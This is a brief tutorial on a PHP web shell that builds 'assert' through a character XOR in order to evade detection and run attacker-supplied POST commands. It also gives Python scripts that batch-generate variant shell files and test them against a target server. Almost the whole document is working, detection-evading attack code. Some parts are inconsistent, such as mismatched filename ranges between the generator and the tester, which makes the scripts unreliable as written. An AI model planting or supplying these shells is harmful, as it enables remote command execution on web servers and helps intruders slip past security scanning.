PHP Web Shell Using XOR Operation

The following demonstrates a PHP web shell that uses XOR operation to bypass detetcion:

<?php 
$xor_result = ('!' ^ '@') . 'ssert';
$xor_result($_POST[cmd]);
?>

ASCII Character Conversion Principle

The technique works by converting ASCII characters to theirr binary representations, performing XOR, then converting back to characters. For example, '!' (33) XOR '@' (64) produces 'a', which when combined with 'ssert' forms 'assert'.

Python Script for Batch Generation

This script generates multiple PHP files with different XOR combinations:

for first_char in range(80, 127):
    for second_char in range(90, 127):
        payload = f"<?php $x=('{chr(first_char)}'^'{chr(second_char)}').'ssert';$x($_POST[c]);?>"
        with open(f'output/{first_char}x{second_char}.php', 'w') as f:
            f.write(payload)

Testing Generated Shells

This script tests each geneerated file and reports successful executions:

import requests

for i in range(20, 50):
    for j in range(50, 90):
        url = f'http://target/{i}x{j}.php'
        response = requests.post(url, data={'c': 'phpinfo();'})
        if 'phpinfo' in response.text:
            print(f'Success: {i}x{j}.php')

Optimized Generation and Cleanup

This improved version automatically removes non-functional shells:

import os
import requests

for first_char in range(30, 40):
    for second_char in range(50, 70):
        filename = f'{first_char}x{second_char}.php'
        payload = f"<?php $x=('{chr(first_char)}'^'{chr(second_char)}').'ssert';$x($_POST[c]);?>"
        
        with open(filename, 'w') as f:
            f.write(payload)
            
        response = requests.post(f'http://target/{filename}', data={'c': 'phpinfo();'})
        
        if 'phpinfo' not in response.text:
            os.remove(filename)